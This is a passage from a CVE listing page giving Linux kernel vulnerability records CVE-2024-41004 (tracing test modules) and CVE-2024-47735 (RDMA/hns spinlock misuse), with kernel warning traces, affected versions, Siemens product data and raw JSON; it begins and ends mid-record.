        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-56672",
    "datePublished": "2024-12-27T15:06:33.358Z",
    "dateReserved": "2024-12-27T15:00:39.845Z",
    "dateUpdated": "2026-05-12T12:01:24.932Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-41004 (GCVE-0-2024-41004)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:44 – Updated: 2026-05-12 11:56

Title

tracing: Build event generation tests only as modules

Summary

In the Linux kernel, the following vulnerability has been resolved: tracing: Build event generation tests only as modules The kprobes and synth event generation test modules add events and lock (get a reference) those event file reference in module init function, and unlock and delete it in module exit function. This is because those are designed for playing as modules. If we make those modules as built-in, those events are left locked in the kernel, and never be removed. This causes kprobe event self-test failure as below. [ 97.349708] ------------[ cut here ]------------ [ 97.353453] WARNING: CPU: 3 PID: 1 at kernel/trace/trace_kprobe.c:2133 kprobe_trace_self_tests_init+0x3f1/0x480 [ 97.357106] Modules linked in: [ 97.358488] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 6.9.0-g699646734ab5-dirty #14 [ 97.361556] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 [ 97.363880] RIP: 0010:kprobe_trace_self_tests_init+0x3f1/0x480 [ 97.365538] Code: a8 24 08 82 e9 ae fd ff ff 90 0f 0b 90 48 c7 c7 e5 aa 0b 82 e9 ee fc ff ff 90 0f 0b 90 48 c7 c7 2d 61 06 82 e9 8e fd ff ff 90 <0f> 0b 90 48 c7 c7 33 0b 0c 82 89 c6 e8 6e 03 1f ff 41 ff c7 e9 90 [ 97.370429] RSP: 0000:ffffc90000013b50 EFLAGS: 00010286 [ 97.371852] RAX: 00000000fffffff0 RBX: ffff888005919c00 RCX: 0000000000000000 [ 97.373829] RDX: ffff888003f40000 RSI: ffffffff8236a598 RDI: ffff888003f40a68 [ 97.375715] RBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000 [ 97.377675] R10: ffffffff811c9ae5 R11: ffffffff8120c4e0 R12: 0000000000000000 [ 97.379591] R13: 0000000000000001 R14: 0000000000000015 R15: 0000000000000000 [ 97.381536] FS: 0000000000000000(0000) GS:ffff88807dcc0000(0000) knlGS:0000000000000000 [ 97.383813] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 97.385449] CR2: 0000000000000000 CR3: 0000000002244000 CR4: 00000000000006b0 [ 97.387347] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 97.389277] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 97.391196] Call Trace: [ 97.391967] <TASK> [ 97.392647] ? __warn+0xcc/0x180 [ 97.393640] ? kprobe_trace_self_tests_init+0x3f1/0x480 [ 97.395181] ? report_bug+0xbd/0x150 [ 97.396234] ? handle_bug+0x3e/0x60 [ 97.397311] ? exc_invalid_op+0x1a/0x50 [ 97.398434] ? asm_exc_invalid_op+0x1a/0x20 [ 97.399652] ? trace_kprobe_is_busy+0x20/0x20 [ 97.400904] ? tracing_reset_all_online_cpus+0x15/0x90 [ 97.402304] ? kprobe_trace_self_tests_init+0x3f1/0x480 [ 97.403773] ? init_kprobe_trace+0x50/0x50 [ 97.404972] do_one_initcall+0x112/0x240 [ 97.406113] do_initcall_level+0x95/0xb0 [ 97.407286] ? kernel_init+0x1a/0x1a0 [ 97.408401] do_initcalls+0x3f/0x70 [ 97.409452] kernel_init_freeable+0x16f/0x1e0 [ 97.410662] ? rest_init+0x1f0/0x1f0 [ 97.411738] kernel_init+0x1a/0x1a0 [ 97.412788] ret_from_fork+0x39/0x50 [ 97.413817] ? rest_init+0x1f0/0x1f0 [ 97.414844] ret_from_fork_asm+0x11/0x20 [ 97.416285] </TASK> [ 97.417134] irq event stamp: 13437323 [ 97.418376] hardirqs last enabled at (13437337): [<ffffffff8110bc0c>] console_unlock+0x11c/0x150 [ 97.421285] hardirqs last disabled at (13437370): [<ffffffff8110bbf1>] console_unlock+0x101/0x150 [ 97.423838] softirqs last enabled at (13437366): [<ffffffff8108e17f>] handle_softirqs+0x23f/0x2a0 [ 97.426450] softirqs last disabled at (13437393): [<ffffffff8108e346>] __irq_exit_rcu+0x66/0xd0 [ 97.428850] ---[ end trace 0000000000000000 ]--- And also, since we can not cleanup dynamic_event file, ftracetest are failed too. To avoid these issues, build these tests only as modules.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/a85bae262ccecc52a…
https://git.kernel.org/stable/c/98a7bfc48fffe170a…
https://git.kernel.org/stable/c/32ef4dc2b1caf5825…
https://git.kernel.org/stable/c/55d5d08174366efe5…
https://git.kernel.org/stable/c/72a0199b361df2387…
https://git.kernel.org/stable/c/3572bd5689b0812b1…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9fe41efaca08416657efa8731c0d47ccb6a3f3eb , < a85bae262ccecc52a40c466ec067f6c915e0839d (git) Affected: 9fe41efaca08416657efa8731c0d47ccb6a3f3eb , < 98a7bfc48fffe170a60d87a5cbb7cdddf08184c3 (git) Affected: 9fe41efaca08416657efa8731c0d47ccb6a3f3eb , < 32ef4dc2b1caf5825c0cf50646479608311cafc3 (git) Affected: 9fe41efaca08416657efa8731c0d47ccb6a3f3eb , < 55d5d08174366efe57ca9e79964828b20c626c45 (git) Affected: 9fe41efaca08416657efa8731c0d47ccb6a3f3eb , < 72a0199b361df2387018697b023fdcdd357449a9 (git) Affected: 9fe41efaca08416657efa8731c0d47ccb6a3f3eb , < 3572bd5689b0812b161b40279e39ca5b66d73e88 (git)
Linux	Linux	Affected: 5.6 Unaffected: 0 , < 5.6 (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:59:07.171Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a85bae262ccecc52a40c466ec067f6c915e0839d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98a7bfc48fffe170a60d87a5cbb7cdddf08184c3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/32ef4dc2b1caf5825c0cf50646479608311cafc3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/55d5d08174366efe57ca9e79964828b20c626c45"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/72a0199b361df2387018697b023fdcdd357449a9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3572bd5689b0812b161b40279e39ca5b66d73e88"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-41004",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:01:05.356959Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:18.790Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:09.785Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/Kconfig"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a85bae262ccecc52a40c466ec067f6c915e0839d",
              "status": "affected",
              "version": "9fe41efaca08416657efa8731c0d47ccb6a3f3eb",
              "versionType": "git"
            },
            {
              "lessThan": "98a7bfc48fffe170a60d87a5cbb7cdddf08184c3",
              "status": "affected",
              "version": "9fe41efaca08416657efa8731c0d47ccb6a3f3eb",
              "versionType": "git"
            },
            {
              "lessThan": "32ef4dc2b1caf5825c0cf50646479608311cafc3",
              "status": "affected",
              "version": "9fe41efaca08416657efa8731c0d47ccb6a3f3eb",
              "versionType": "git"
            },
            {
              "lessThan": "55d5d08174366efe57ca9e79964828b20c626c45",
              "status": "affected",
              "version": "9fe41efaca08416657efa8731c0d47ccb6a3f3eb",
              "versionType": "git"
            },
            {
              "lessThan": "72a0199b361df2387018697b023fdcdd357449a9",
              "status": "affected",
              "version": "9fe41efaca08416657efa8731c0d47ccb6a3f3eb",
              "versionType": "git"
            },
            {
              "lessThan": "3572bd5689b0812b161b40279e39ca5b66d73e88",
              "status": "affected",
              "version": "9fe41efaca08416657efa8731c0d47ccb6a3f3eb",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/Kconfig"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.6"
            },
            {
              "lessThan": "5.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: Build event generation tests only as modules\n\nThe kprobes and synth event generation test modules add events and lock\n(get a reference) those event file reference in module init function,\nand unlock and delete it in module exit function. This is because those\nare designed for playing as modules.\n\nIf we make those modules as built-in, those events are left locked in the\nkernel, and never be removed. This causes kprobe event self-test failure\nas below.\n\n[   97.349708] ------------[ cut here ]------------\n[   97.353453] WARNING: CPU: 3 PID: 1 at kernel/trace/trace_kprobe.c:2133 kprobe_trace_self_tests_init+0x3f1/0x480\n[   97.357106] Modules linked in:\n[   97.358488] CPU: 3 PID: 1 Comm: swapper/0 Not tainted 6.9.0-g699646734ab5-dirty #14\n[   97.361556] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n[   97.363880] RIP: 0010:kprobe_trace_self_tests_init+0x3f1/0x480\n[   97.365538] Code: a8 24 08 82 e9 ae fd ff ff 90 0f 0b 90 48 c7 c7 e5 aa 0b 82 e9 ee fc ff ff 90 0f 0b 90 48 c7 c7 2d 61 06 82 e9 8e fd ff ff 90 \u003c0f\u003e 0b 90 48 c7 c7 33 0b 0c 82 89 c6 e8 6e 03 1f ff 41 ff c7 e9 90\n[   97.370429] RSP: 0000:ffffc90000013b50 EFLAGS: 00010286\n[   97.371852] RAX: 00000000fffffff0 RBX: ffff888005919c00 RCX: 0000000000000000\n[   97.373829] RDX: ffff888003f40000 RSI: ffffffff8236a598 RDI: ffff888003f40a68\n[   97.375715] RBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000000\n[   97.377675] R10: ffffffff811c9ae5 R11: ffffffff8120c4e0 R12: 0000000000000000\n[   97.379591] R13: 0000000000000001 R14: 0000000000000015 R15: 0000000000000000\n[   97.381536] FS:  0000000000000000(0000) GS:ffff88807dcc0000(0000) knlGS:0000000000000000\n[   97.383813] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[   97.385449] CR2: 0000000000000000 CR3: 0000000002244000 CR4: 00000000000006b0\n[   97.387347] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[   97.389277] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[   97.391196] Call Trace:\n[   97.391967]  \u003cTASK\u003e\n[   97.392647]  ? __warn+0xcc/0x180\n[   97.393640]  ? kprobe_trace_self_tests_init+0x3f1/0x480\n[   97.395181]  ? report_bug+0xbd/0x150\n[   97.396234]  ? handle_bug+0x3e/0x60\n[   97.397311]  ? exc_invalid_op+0x1a/0x50\n[   97.398434]  ? asm_exc_invalid_op+0x1a/0x20\n[   97.399652]  ? trace_kprobe_is_busy+0x20/0x20\n[   97.400904]  ? tracing_reset_all_online_cpus+0x15/0x90\n[   97.402304]  ? kprobe_trace_self_tests_init+0x3f1/0x480\n[   97.403773]  ? init_kprobe_trace+0x50/0x50\n[   97.404972]  do_one_initcall+0x112/0x240\n[   97.406113]  do_initcall_level+0x95/0xb0\n[   97.407286]  ? kernel_init+0x1a/0x1a0\n[   97.408401]  do_initcalls+0x3f/0x70\n[   97.409452]  kernel_init_freeable+0x16f/0x1e0\n[   97.410662]  ? rest_init+0x1f0/0x1f0\n[   97.411738]  kernel_init+0x1a/0x1a0\n[   97.412788]  ret_from_fork+0x39/0x50\n[   97.413817]  ? rest_init+0x1f0/0x1f0\n[   97.414844]  ret_from_fork_asm+0x11/0x20\n[   97.416285]  \u003c/TASK\u003e\n[   97.417134] irq event stamp: 13437323\n[   97.418376] hardirqs last  enabled at (13437337): [\u003cffffffff8110bc0c\u003e] console_unlock+0x11c/0x150\n[   97.421285] hardirqs last disabled at (13437370): [\u003cffffffff8110bbf1\u003e] console_unlock+0x101/0x150\n[   97.423838] softirqs last  enabled at (13437366): [\u003cffffffff8108e17f\u003e] handle_softirqs+0x23f/0x2a0\n[   97.426450] softirqs last disabled at (13437393): [\u003cffffffff8108e346\u003e] __irq_exit_rcu+0x66/0xd0\n[   97.428850] ---[ end trace 0000000000000000 ]---\n\nAnd also, since we can not cleanup dynamic_event file, ftracetest are\nfailed too.\n\nTo avoid these issues, build these tests only as modules."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:24:10.134Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a85bae262ccecc52a40c466ec067f6c915e0839d"
        },
        {
          "url": "https://git.kernel.org/stable/c/98a7bfc48fffe170a60d87a5cbb7cdddf08184c3"
        },
        {
          "url": "https://git.kernel.org/stable/c/32ef4dc2b1caf5825c0cf50646479608311cafc3"
        },
        {
          "url": "https://git.kernel.org/stable/c/55d5d08174366efe57ca9e79964828b20c626c45"
        },
        {
          "url": "https://git.kernel.org/stable/c/72a0199b361df2387018697b023fdcdd357449a9"
        },
        {
          "url": "https://git.kernel.org/stable/c/3572bd5689b0812b161b40279e39ca5b66d73e88"
        }
      ],
      "title": "tracing: Build event generation tests only as modules",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-41004",
    "datePublished": "2024-07-12T12:44:39.793Z",
    "dateReserved": "2024-07-12T12:17:45.610Z",
    "dateUpdated": "2026-05-12T11:56:09.785Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47735 (GCVE-0-2024-47735)

Vulnerability from cvelistv5 – Published: 2024-10-21 12:14 – Updated: 2026-05-12 11:58

Title

RDMA/hns: Fix spin_unlock_irqrestore() called with IRQs enabled

Summary

In the Linux kernel, the following vulnerability has been resolved: RDMA/hns: Fix spin_unlock_irqrestore() called with IRQs enabled Fix missuse of spin_lock_irq()/spin_unlock_irq() when spin_lock_irqsave()/spin_lock_irqrestore() was hold. This was discovered through the lock debugging, and the corresponding log is as follows: raw_local_irq_restore() called with IRQs enabled WARNING: CPU: 96 PID: 2074 at kernel/locking/irqflag-debug.c:10 warn_bogus_irq_restore+0x30/0x40 ... Call trace: warn_bogus_irq_restore+0x30/0x40 _raw_spin_unlock_irqrestore+0x84/0xc8 add_qp_to_list+0x11c/0x148 [hns_roce_hw_v2] hns_roce_create_qp_common.constprop.0+0x240/0x780 [hns_roce_hw_v2] hns_roce_create_qp+0x98/0x160 [hns_roce_hw_v2] create_qp+0x138/0x258 ib_create_qp_kernel+0x50/0xe8 create_mad_qp+0xa8/0x128 ib_mad_port_open+0x218/0x448 ib_mad_init_device+0x70/0x1f8 add_client_context+0xfc/0x220 enable_device_and_get+0xd0/0x140 ib_register_device.part.0+0xf4/0x1c8 ib_register_device+0x34/0x50 hns_roce_register_device+0x174/0x3d0 [hns_roce_hw_v2] hns_roce_init+0xfc/0x2c0 [hns_roce_hw_v2] __hns_roce_hw_v2_init_instance+0x7c/0x1d0 [hns_roce_hw_v2] hns_roce_hw_v2_init_instance+0x9c/0x180 [hns_roce_hw_v2]

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/07f0f643d7e570dbe…
https://git.kernel.org/stable/c/29c0f546d3fd66238…
https://git.kernel.org/stable/c/425589d4af09c4957…
https://git.kernel.org/stable/c/094a1821903f33fb9…
https://git.kernel.org/stable/c/2656336a84fcb6802…
https://git.kernel.org/stable/c/a1a3403bb1826c8ec…
https://git.kernel.org/stable/c/74d315b5af180220d…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9a4435375cd151e07c0c38fa601b00115986091b , < 07f0f643d7e570dbe8ef6f5c3367a43e3086a335 (git) Affected: 9a4435375cd151e07c0c38fa601b00115986091b , < 29c0f546d3fd66238b42cf25bcd5f193bb1cf794 (git) Affected: 9a4435375cd151e07c0c38fa601b00115986091b , < 425589d4af09c49574bd71ac31f811362a5126c3 (git) Affected: 9a4435375cd151e07c0c38fa601b00115986091b , < 094a1821903f33fb91de4b71087773ee16aeb3a0 (git) Affected: 9a4435375cd151e07c0c38fa601b00115986091b , < 2656336a84fcb6802f6e6c233f4661891deea24f (git) Affected: 9a4435375cd151e07c0c38fa601b00115986091b , < a1a3403bb1826c8ec787f0d60c3e7b54f419129e (git) Affected: 9a4435375cd151e07c0c38fa601b00115986091b , < 74d315b5af180220d561684d15897730135733a6 (git)
Linux	Linux	Affected: 4.9 Unaffected: 0 , < 4.9 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47735",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T12:59:57.677353Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:15.337Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:31.011Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:43.063Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/hw/hns/hns_roce_qp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "07f0f643d7e570dbe8ef6f5c3367a43e3086a335",
              "status": "affected",
              "version": "9a4435375cd151e07c0c38fa601b00115986091b",
              "versionType": "git"
            },
            {
              "lessThan": "29c0f546d3fd66238b42cf25bcd5f193bb1cf794",
              "status": "affected",
              "version": "9a4435375cd151e07c0c38fa601b00115986091b",
              "versionType": "git"
            },
            {
              "lessThan": "425589d4af09c49574bd71ac31f811362a5126c3",
              "status": "affected",
              "version": "9a4435375cd151e07c0c38fa601b00115986091b",
              "versionType": "git"
            },
            {
              "lessThan": "094a1821903f33fb91de4b71087773ee16aeb3a0",
              "status": "affected",
              "version": "9a4435375cd151e07c0c38fa601b00115986091b",
              "versionType": "git"
            },
            {
              "lessThan": "2656336a84fcb6802f6e6c233f4661891deea24f",
              "status": "affected",
              "version": "9a4435375cd151e07c0c38fa601b00115986091b",
              "versionType": "git"
            },
            {
              "lessThan": "a1a3403bb1826c8ec787f0d60c3e7b54f419129e",
              "status": "affected",
              "version": "9a4435375cd151e07c0c38fa601b00115986091b",
              "versionType": "git"
            },
            {
              "lessThan": "74d315b5af180220d561684d15897730135733a6",
              "status": "affected",
              "version": "9a4435375cd151e07c0c38fa601b00115986091b",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/hw/hns/hns_roce_qp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.9"
            },
            {
              "lessThan": "4.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
